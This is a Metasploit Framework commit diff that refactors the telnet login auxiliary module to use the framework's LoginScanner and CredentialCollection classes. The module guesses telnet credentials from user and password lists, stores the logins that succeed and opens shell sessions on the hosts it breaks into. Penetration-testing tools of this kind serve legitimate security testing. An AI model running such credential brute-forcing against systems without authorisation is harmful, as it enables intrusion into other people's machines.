refactor telnet_login

bug/bundler_fix
David Maloney 2014-06-11 17:46:42 -05:00
parent 87a9ee9a69
commit c074ebda7b
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
2 changed files with 70 additions and 185 deletions

View File

@ -178,8 +178,6 @@ module Metasploit
raise NotImplementedError
end
protected
attr_accessor :sock
end

View File

@ -4,6 +4,9 @@
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/telnet'
class Metasploit3 < Msf::Auxiliary
@ -33,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST')
register_advanced_options(
[
OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0])
OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25])
], self.class
)
@ -44,190 +47,74 @@ class Metasploit3 < Msf::Auxiliary
attr_accessor :password_only
def run_host(ip)
overall_timeout ||= [
datastore['TIMEOUT'].to_i,
datastore['TelnetBannerTimeout'].to_i,
datastore['TelnetTimeout'].to_i
].max
# Check for a password-only prompt for this machine.
self.password_only = []
if connect_reset_safe == :connected
@strip_usernames = true if password_prompt?
self.sock.close
end
begin
each_user_pass do |user, pass|
Timeout.timeout(overall_timeout) do
res = try_user_pass(user, pass)
start_telnet_session(rhost,rport,user,pass) if res == :next_user
end
end
rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error
return
end
end
def try_user_pass(user, pass)
vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'"
this_attempt ||= 0
ret = nil
while this_attempt <=3 and (ret.nil? or ret == :refused)
if this_attempt > 0
select(nil,nil,nil,2**this_attempt)
vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset"
end
ret = do_login(user,pass)
this_attempt += 1
end
case ret
when :no_auth_required
print_good "#{rhost}:#{rport} Telnet - No authentication required!"
report_telnet('','',@trace)
return :abort
when :no_pass_prompt
vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt"
return :skip_user
when :timeout
vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout"
when :busy
vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state"
when :refused
vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused."
when :skip_user
vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests"
return :skip_user
when :success
unless user == user.downcase
case_ret = do_login(user.downcase,pass)
if case_ret == :success
user= user.downcase
print_status("Username #{user} is case insensitive")
end
end
report_telnet(user,pass,@trace)
return :next_user
end
end
# Sometimes telnet servers start RSTing if you get them angry.
# This is a short term fix; the problem is that we don't know
# if it's going to reset forever, or just this time, or randomly.
# A better solution is to get the socket connect to try again
# with a little backoff.
def connect_reset_safe
begin
connect
rescue Rex::ConnectionRefused
return :refused
end
return :connected
end
# Making this serial since the @attempts counting business is causing
# all kinds of syncing problems.
def do_login(user,pass)
return :refused if connect_reset_safe == :refused
begin
vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if busy_message?
self.sock.close unless self.sock.closed?
return :busy
end
if login_succeeded?
return :no_auth_required
end
# Immediate password prompt... try our password!
if password_prompt?
user = ''
if password_only.include?(pass)
print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'")
return :tried
end
print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'")
password_only << pass
else
send_user(user)
end
recvd_sample = @recvd.dup
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
end
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if password_prompt?(user)
send_pass(pass)
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
end
vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if login_succeeded?
return :success
else
self.sock.close unless self.sock.closed?
if @recvd =~ /Not on system console/ # Solaris8, user is not allowed
return :skip_user
else
return :fail
end
end
else
if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/
report_telnet(user,pass,@trace)
return :no_pass_required
else
self.sock.close unless self.sock.closed?
return :no_pass_prompt
end
end
rescue ::Interrupt
self.sock.close unless self.sock.closed?
raise $!
rescue ::Exception => e
if e.to_s == "execution expired"
self.sock.close unless self.sock.closed?
return :timeout
else
self.sock.close unless self.sock.closed?
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
end
end
end
def report_telnet(user, pass, proof)
print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}")
report_auth_info(
:host => rhost,
:port => datastore['RPORT'],
:sname => 'telnet',
:user => user,
:pass => pass,
:proof => proof,
:source_type => "user_supplied",
:active => true
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
)
scanner = Metasploit::Framework::LoginScanner::Telnet.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: datastore['Timeout'],
banner_timeout: datastore['TelnetBannerTimeout'],
telnet_timeout: datastore['TelnetTimeout']
)
service_data = {
address: ip,
port: rport,
service_name: 'telnet',
protocol: 'tcp',
workspace_id: myworkspace_id
}
scanner.scan! do |result|
if result.success?
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Credential::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
else
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: nil,
realm_value: nil,
status: result.status)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
def start_telnet_session(host, port, user, pass)
def start_telnet_session(host, port, user, pass,scanner)
print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}"
merge_me = {
'USERPASS_FILE' => nil,
@ -237,7 +124,7 @@ class Metasploit3 < Msf::Auxiliary
'PASSWORD' => pass
}
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true)
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
end
end